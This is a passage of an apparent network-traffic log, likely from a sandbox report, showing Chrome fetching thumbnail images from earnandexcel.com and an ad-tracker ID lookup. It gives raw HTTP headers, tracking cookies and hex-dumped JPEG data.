wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _pubCommonId_cst=VyxHLMwsHQ%3D%3D; _lr_retry_request=true; _lr_env_src_ats=false; am_tokens=null
2024-04-11 21:26:59 UTC	943	IN	HTTP/1.1 400 Bad Request Date: Thu, 11 Apr 2024 21:26:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0ed8381a4391-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache, must-revalidate, max-age=0, no-store Expires: Wed, 11 Jan 1984 05:00:00 GMT accept-ch: Sec-CH-UA-Mobile ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p pragma: no-cache X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 x-kinsta-cache: BYPASS x-robots-tag: noindex Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7bO9lUAU0lufWDeNYSXda7vSHr%2Fv09ZpVj0F%2BMiFcSPENABex4xdivEc%2BcwQ%2F%2F7jXLu5P1%2FxAexKlwh7Bl89Dc7G42YPsrQlewuVd1MFO%2BKiW%2B1aGl31zS07DPRJnYSgJOg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:59 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2024-04-11 21:26:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
253	192.168.2.17	50042	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:58 UTC	2349	OUT	GET /wp-content/uploads/Power-BI-Advanced-1-480x304.jpg HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _pubCommonId_cst=VyxHLMwsHQ%3D%3D; _lr_retry_request=true; _lr_env_src_ats=false; am_tokens=null
2024-04-11 21:26:58 UTC	907	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:58 GMT Content-Type: image/jpeg Content-Length: 18716 Connection: close CF-Ray: 872e0ed859c98cc3-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df3303-491c" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:43 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PPT71vbAQaloXFia4ZGU6IHwE47LfUcfIhKLN8vohf%2FvUqMzKeXI89%2F9WApr%2BLm434x4JXrNBieFPWzzfqgsbNcy%2BgThKto2kfakA5Q1TiJevaFTaahMQUxVh4AEenuMlxQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:58 UTC	462	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 96 00 96 00 00 ff db 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0e 09 09 08 08 09 12 0d 0d 0a 0e 15 12 16 16 15 12 14 14 17 1a 21 1c 17 18 1f 19 14 14 1d 27 1d 1f 22 23 25 25 25 16 1c 29 2c 28 24 2b 21 24 25 24 ff db 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 ff c0 00 11 08 01 30 01 e0 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 01 04 03 01 00 00 00 00 00 00 00 00 00 00 00 00 02 05 06 07 01 03 04 08 ff c4 00 5a 10 00 01 03 02 02 04 07 0a 08 0a 05 0a 06 03 00 00 01 00 02 03 04 11 05 06 07 12 21 31 13 17 41 51 91 92 d1 14 15 16 22 52 54 61 71 Data Ascii: JFIFC!'"#%%%),($+!$%$C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$0"Z!1AQ"RTaq
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: 15 77 09 b4 ab 5f f2 9a ae b2 d2 b5 39 d6 58 6c 96 e5 5d 0d 25 a8 e7 6b 4b 59 b9 c7 7a e7 7b b6 ac ba 51 ce b4 b9 e2 e8 ac be 56 36 8b f9 8d 72 1f 18 ad 65 29 e7 c6 29 05 73 52 7f 33 3a 38 2f 95 08 25 6a 72 da 42 41 0a 58 4c 8a a4 6e 72 ca cb dd 71 4d 1e f4 e6 e6 6c 5c f2 45 7b ad 1a 35 4c ea f4 6e 32 54 40 48 29 b2 58 4c 64 9e 45 23 96 0b dd 70 54 d3 07 02 16 c6 1a bd 8e 67 30 c0 e9 2b ad a3 5b 0a dc d7 2d 52 44 62 75 8a 53 5c b6 29 ce e8 e5 aa 41 c5 d9 9b da 52 96 a6 94 b0 e5 32 20 68 58 29 40 ec 48 ba c8 28 1a 24 8b 39 6d 89 6b 7f 3a 5c 6e b2 72 07 ad 0e d8 53 35 a7 04 81 b1 4c e9 23 6b a2 17 22 e1 40 e9 2a 0c 52 07 05 2a c2 eb 5c f1 6e 45 99 98 53 93 f9 91 bb 92 54 82 4e 0f 68 f0 58 c6 a4 17 b4 0d 81 63 5b f3 92 09 6f 3a c7 4b 79 d2 68 ee 34 4f 31 1b Data Ascii: w_9Xl]%kKYz{QV6re))sR3:8/%jrBAXLnrqMl\E{5Ln2T@H)XLdE#pTg0+[-RDbuS\)AR2 hX)@H($9mk:\nrS5L#k"@R\nESTNhXc[o:Kyh4O1
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: 88 83 75 48 8c cf 8c ee ef 95 4f b4 3d ab 27 34 e3 4c 63 9c 31 1a b7 10 3e 0b 64 37 3f 7a 76 9a 23 8e 57 24 f6 97 be b6 ab 56 97 ce 05 f6 aa 29 b9 d3 1e b7 f5 b8 8f b4 29 63 39 e3 9c b2 62 1d 74 c5 38 7f a8 96 79 6d 66 ac 9a fb 97 4b eb 18 01 37 ba e2 9a a1 d2 9d bb b9 95 4a dc eb 8d b7 96 b0 fa ca df 0e 73 c6 de d2 e3 2b a3 20 db 55 ed 1d 8a 7a 75 a9 a7 a8 ce ad 92 e2 64 b5 c9 58 b4 59 39 66 e5 df 4c fd 70 0e d5 53 47 9e 71 98 cf c3 89 de b6 37 b1 76 c1 a4 cc 66 21 63 1d 33 ad ce ce c4 95 2a a9 2b 21 d8 4c a6 ad 29 5e 6d 58 b7 21 6e c5 dd 43 53 35 05 43 27 84 d9 ed 37 f5 aa 8a 1d 2e e2 51 fc 3a 1a 37 7a 83 87 f1 5d f4 da 68 b3 da 2a 70 a6 ea 5f c6 74 6f 37 1d 2b 27 11 4a 73 56 ec 3a 7c 23 8d 3d 7d a7 a2 f0 cc e3 41 51 18 15 45 d0 48 37 ec b8 2b 38 ce 67 Data Ascii: uHO='4Lc1>d7?zv#W$V))c9bt8ymfK7Js+ UzudXY9fLpSGq7vf!c3+!L)^mX!nCS5C'7.Q:7z]hp_to7+'JsV:\|#=}AQEH7+8g
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: 7a 89 54 68 d1 c3 d3 fe 9a 32 d6 a5 86 a5 35 ab 60 62 89 55 44 ea 99 ac 35 28 05 b0 31 64 31 3b 96 42 f2 4c 5d 24 bc 0b f6 fc 13 bd 3a c6 35 c5 db b7 d4 9a 43 12 db ae d0 40 73 80 f4 15 14 e6 9e bb 93 53 4e 3a 89 06 5a ac e1 69 35 09 da 13 b9 22 ca 0b 97 2b dd 16 d0 76 29 27 77 3e 61 60 6d ea 58 f0 aa b4 6c 5b 8b ec 1b b1 ca 7e eb a8 d6 63 b6 37 60 4c 8e a4 91 8e f1 9b 70 14 9d ec b8 ba e6 74 20 93 b1 54 a9 16 dd c7 2d 43 01 04 24 49 fd 5b 93 cc b4 4d 75 f6 26 fa aa 17 00 43 0a ab 29 4a 3b 4b 0a cd 0d 65 c9 04 ad 92 c2 f8 fe 13 4a e6 73 c0 e5 51 f3 81 55 2b ec 32 e3 b1 30 e6 af c4 78 8f ea d2 fb a5 3e 13 70 98 b3 67 e2 1c 47 f5 69 7d d2 b7 32 d9 e9 33 2f 1f 0b 45 9e 5f 69 b3 8a b0 34 38 eb e6 68 7d 6e f7 4a af 41 de ac 0d 0c 9b e6 78 7d 6e f7 0a d5 ce ff Data Ascii: zTh25`bUD5(1d1;BL]$:5C@sSN:Zi5"+v)'w>a`mXl[~c7`Lpt T-C$I[Mu&C)J;KeJsQU+20x>pgGi}23/E_i48h}nJAx}n
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: 30 2e 5f f7 2b 35 b8 2c 00 fc 01 d0 95 de 98 7c 81 d0 b1 de 5b 16 49 cb c9 76 95 f4 30 d7 01 69 1c 6e 39 40 4b 74 35 ce 1a ac 71 03 9c 85 3b 76 11 09 f8 81 63 bd 31 0e 45 1b ca 60 c7 2c 54 c8 43 28 ab 6d fd 61 58 76 1d 5a e3 b5 e5 4e 46 19 18 f8 a9 43 0e 8f 75 82 45 94 45 0f 58 b9 22 11 06 0d 54 e7 6b 19 1d 64 f1 47 85 4e 6d 77 1d 8a 49 1d 0c 6c 3b 82 ea 8e 9e 36 ee 00 26 cf 29 44 b1 c6 b3 97 0e a1 73 1a 2e 4a e5 cd cd d4 cb f8 8f ea d2 7b a5 3e b5 cc 63 79 13 06 70 94 3b 00 c4 80 f3 59 3d d2 b7 72 ca 2a 95 91 89 99 c9 d4 8b 67 93 df bd 58 3a 16 fc a7 87 d6 ef 70 aa f4 9d a5 58 5a 16 fc a6 87 d6 ef 70 ad 1c ef f6 fa ff 00 c2 5e 8c ca cb ff 00 53 4f cd 7a 9e 81 42 10 be 75 3d 20 10 84 20 01 08 42 00 10 84 20 01 08 42 00 10 84 20 01 08 42 00 10 84 20 01 08 Data Ascii: 0._+5,\|[Iv0in9@Kt5q;vc1E`,TC(maXvZNFCuEEX"TkdGNmwIl;6&)Ds.J{>cyp;Y=r*gX:pXZp^SOzBu= B B B
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: 8c d4 17 90 75 f5 81 3c b7 b5 b6 2b 75 32 ba d0 dc d5 9b ba 7d dd bf e5 11 aa f1 7f ee f2 50 84 21 66 93 02 10 84 00 21 08 40 02 10 84 00 21 08 40 02 10 84 01 5f 69 a3 66 5e 83 eb 1d ee 95 e7 c2 57 a0 f4 d3 f9 3d 07 d6 3b dd 5e 7c 3b d7 b7 fc 15 fb 4c 3c df ab 38 6c f7 f5 6f c9 17 26 88 24 d5 ca 52 9b ee aa 7f ee 6a 98 8a c7 6b 58 5d 44 34 25 4f c3 64 99 cf 35 53 fd d6 a9 7c 94 dc 1b 09 5b f1 52 a8 d9 1c 63 18 c5 2b 1b db 57 b3 e1 d9 64 d5 db fb 40 9a 63 77 08 64 6e b5 88 1b 13 14 f8 e7 03 2b a3 2f da 0d 8a ad 51 ce 0e cc 95 28 34 4c 0d 60 f9 c4 a6 3a 59 7e 05 ca 88 e1 d8 a8 ab a9 6c 61 f7 24 ab 13 06 a2 d6 60 25 a8 52 94 88 e7 28 44 6c e0 aa 7c 97 2c 88 aa 7c 97 29 94 78 5b 5c db ea a0 e1 2d f2 54 91 a7 27 da 57 95 7b 76 12 69 81 6d fc 52 a2 d9 c6 50 29 Data Ascii: u<+u2}P!f!@!@_if^W=;^\|;L<8lo&$RjkX]D4%Od5S\|[Rc+Wd@cwdn+/Q(4L`:Y~la$`%R(Dl\|,\|)x[\-T'W{vimRP)
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: 76 d9 76 12 c6 86 8d 17 4d 6d b1 4f 63 98 63 b2 c6 13 80 e6 28 f1 c9 71 3a 98 9d 0f 05 41 58 e1 23 7c 60 3e 00 e4 21 4a 25 71 7e 99 a8 1e 5a 5a 5d 85 12 47 36 f5 20 c3 b4 77 95 b0 aa a6 55 52 e1 10 b6 68 cd d8 e7 97 3f 54 f3 80 e2 53 a3 b0 1c 39 f8 cb 31 a7 53 83 5e c8 b8 16 cd ac 76 33 9a d7 b2 b9 5f 37 a3 3b ad 6d e8 c9 5d a4 bf 36 c5 64 f6 2d fb 75 91 43 0f 25 f7 5c 0e f4 21 0b 9b 2e 82 10 84 00 21 08 40 02 10 84 00 21 08 40 02 10 84 01 5e e9 a7 f2 7a 0f ac 77 ba 57 9f 4b 80 2b d0 7a 68 fc 9e 83 eb 1d ee 95 e7 a9 36 2f 6f f8 2b f6 98 79 bf 53 86 cf 7f 56 fc 91 7b 68 1e 30 32 4d 60 26 f6 ab 70 ff 00 85 aa 5f 5a d1 dc ce b2 88 68 25 d6 c9 75 df ae 3b dc 6a 93 d7 54 5a 9d c0 0b 95 d4 61 17 cd 2f 32 06 fe 58 df 71 0f a9 c5 24 a6 a8 95 8d 00 ec 2a ab cc 38 Data Ascii: vvMmOcc(q:AX#\|`>!J%q~ZZ]G6 wURh?TS91S^v3_7;m]6d-uC%\!.!@!@^zwWK+zh6/o+ySV{h02M`&p_Zh%u;jTZa/2Xq$*8
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: ce 45 6f 11 2d 48 ce c1 50 53 6e ec 6e 14 32 34 1d 8b 86 ae 39 19 7b 5d 4b 9d 1b 35 4e c4 c3 8a 35 8d b9 4c a3 2d 65 ca d4 34 23 74 c6 8a 67 48 0e d2 77 a7 a8 03 9c ce 54 d5 4b 23 24 94 0f 4a 92 d2 46 ce 0f ec 49 5d 6b 17 05 2d 28 ed 19 2b 5c f6 b5 ca 1f 98 27 27 0e c4 43 86 ea 79 07 fc 25 4f 71 28 da 18 e5 00 cc 96 ef 76 22 47 cc 49 ee 95 36 15 ea 64 38 d7 69 c3 cd 14 cb 36 95 65 68 78 7f 9c 10 1f 4b bd d2 ab 56 6c 2a cb d0 f6 dc 7a 1f d2 3e e9 59 99 cf ed d8 8f e1 2f 46 76 b8 1f d5 53 fe 4b d4 bd 50 84 2f 9c 4f 4d 04 21 08 00 42 10 80 04 21 08 00 42 10 80 19 f3 97 e4 8e 37 fa 8c fe e1 50 3f fc 37 7f e5 fc bf af 49 ee b5 4f 33 97 e4 8e 37 fa 8c fe e1 54 ce 8f 73 21 ca da 09 c5 eb e3 24 54 3a ae 48 20 b7 ce 3d ac 68 3f 66 d3 f6 2e 93 2f a3 2a f9 75 4a 50 Data Ascii: Eo-HPSnn249{]K5N5L-e4#tgHwTK#$JFI]k-(+\''Cy%Oq(v"GI6d8i6ehxKVlz>Y/FvSKP/OM!B!B7P?7IO37Ts!$T:H =h?f./uJP
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: 63 bd d5 e7 a9 85 ee 42 f6 ef 82 bf 69 87 9b f5 67 0d 9e 7e b1 f9 22 cf d1 2c b6 cb 78 83 39 ea 7f e9 09 fc 4c 58 ed 87 71 51 dd 11 0b e0 18 9f a2 a0 7b a9 ed ee b4 a7 d6 bb 5c 3c ec 8e 6a ba 7a 52 63 c4 38 bb 22 8f c6 be b0 e4 5a 65 cc 92 31 c7 55 9d 29 b4 90 5e b4 cb 63 75 71 53 4d 1c 95 6c 5d 4e 51 a4 c7 fc 3b 35 4f c3 0b b5 ba aa 65 4f 8b 3e 58 43 83 80 d8 aa fa 33 69 14 b3 0e a9 22 9c 0b ee 50 55 c3 c5 ab 92 61 f3 0a b0 9e 8c 9d d0 fd 3e 24 f0 d3 e3 ad 50 54 c9 20 71 2e 29 b8 3c bc 6d 4e 34 31 1d 53 b1 40 a2 a0 8b 6a bc ea ca f7 1f 2f b1 34 e2 ce 3c 13 93 a1 dc 9a b1 5f ea dc b3 e9 ed 2f 56 fc ac 88 c7 fe 9e 36 f2 a9 ae 18 6d 18 50 c8 db fd 2e fe 95 2e c3 9c 44 60 7a 15 ba ce e9 19 98 08 e8 b9 0e 6f 7f 88 76 a8 f6 2f 20 01 c9 e2 49 0e a9 51 ac 6e 62 Data Ascii: cBig~",x9LXqQ{\<jzRc8"Ze1U)^cuqSMl]NQ;5OeO>XC3i"PUa>$PT q.)<mN41S@j/4<_/V6mP..D`zov/ IQnb
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: 36 d8 a6 14 8d b3 3e c4 d7 49 44 19 20 b0 b6 d4 ff 00 0c 16 8b 72 9a b4 d4 99 53 2f c3 b8 46 c3 3e 22 e1 aa e0 a0 79 a6 32 30 7c 49 d6 d9 c0 3f f7 29 ee 28 c2 01 50 bc d2 c0 70 1c 49 df ea 1f fb 93 a8 8d c4 c7 4a 71 fa 35 ea 52 91 8b 59 58 fa 1d 07 bf f0 fe 93 bd d2 ab b8 db 72 ac 7d 11 0b 66 08 07 a5 de e9 54 33 a5 ff 00 1b 88 fe 12 f4 67 65 80 7f 8b a7 e6 bd 4b cd 08 42 f9 c0 f4 f0 42 10 80 04 21 08 00 42 10 80 04 21 08 00 42 10 80 04 21 08 00 42 10 80 04 21 08 00 42 10 80 04 21 08 00 42 10 80 04 21 08 00 42 10 80 04 21 08 00 42 10 80 04 21 08 00 42 10 80 04 21 08 02 bf d3 2f e2 08 3e b1 de ea f3 ec e3 61 5e 83 d3 2f e2 08 3e b1 de ea f3 fc c0 10 57 b8 7c 12 bf e2 21 e7 2f 56 70 99 eb fc 63 f2 45 91 a1 7f c5 d8 d0 fc e8 8f dc e4 e1 3c 96 ac 70 fc e5 c1 Data Ascii: 6>ID rS/F>"y20\|I?)(PpIJq5RYXr}fT3geKBB!B!B!B!B!B!B!B!B!/>a^/>W\|!/VpcE<p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
254	192.168.2.17	50040	52.223.40.198	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:58 UTC	425	OUT	GET /track/rid?ttd_pid=sne7dew&fmt=json HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19
2024-04-11 21:26:58 UTC	354	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:58 GMT Content-Type: application/json Content-Length: 108 Connection: close server: Kestrel cache-control: private expires: Sat, 11 May 2024 21:26:58 GMT set-cookie: TDID=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; expires=Fri, 11 Apr 2025 21:26:58 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-11 21:26:58 UTC	108	IN	Data Raw: 7b 22 54 44 49 44 22 3a 22 38 34 65 38 63 39 33 35 2d 65 63 31 65 2d 34 65 65 34 2d 61 38 66 34 2d 32 63 62 37 63 61 65 33 61 61 31 39 22 2c 22 54 44 49 44 5f 4c 4f 4f 4b 55 50 22 3a 22 54 52 55 45 22 2c 22 54 44 49 44 5f 43 52 45 41 54 45 44 5f 41 54 22 3a 22 32 30 32 34 2d 30 33 2d 31 31 54 32 31 3a 32 36 3a 35 38 22 7d Data Ascii: {"TDID":"84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19","TDID_LOOKUP":"TRUE","TDID_CREATED_AT":"2024-03-11T21:26:58"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
255	192.168.2.17	50046	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:58 UTC	2343	OUT	GET /wp-content/uploads/Excel-VBA-2-2-480x304.jpg HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _pubCommonId_cst=VyxHLMwsHQ%3D%3D; _lr_retry_request=true; _lr_env_src_ats=false; am_tokens=null
2024-04-11 21:26:59 UTC	905	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:58 GMT Content-Type: image/jpeg Content-Length: 18362 Connection: close CF-Ray: 872e0ed87a2fc332-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df330c-47ba" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:52 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dDmhkCfX2l76Oj4mrNrAbq%2FqVer28HNq4WlLMTrkAnlNo6eGLdwBnclxOVDkQxl0OMstCqlYLooS3HawobhIFTs7dAK9DPR06oVZ3%2B7%2FGOBM2EhXvJYgphVj5iYhB3CCQTg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:59 UTC	464	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 96 00 96 00 00 ff db 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0e 09 09 08 08 09 12 0d 0d 0a 0e 15 12 16 16 15 12 14 14 17 1a 21 1c 17 18 1f 19 14 14 1d 27 1d 1f 22 23 25 25 25 16 1c 29 2c 28 24 2b 21 24 25 24 ff db 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 ff c0 00 11 08 01 30 01 e0 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 01 04 03 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 05 06 03 04 07 08 ff c4 00 5e 10 00 01 03 02 02 04 04 0f 08 0d 09 06 07 01 00 00 01 00 02 03 04 11 05 06 07 12 21 31 13 41 51 91 08 14 15 16 18 22 52 61 71 92 93 Data Ascii: JFIFC!'"#%%%),($+!$%$C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$0"^!1AQ"Raq
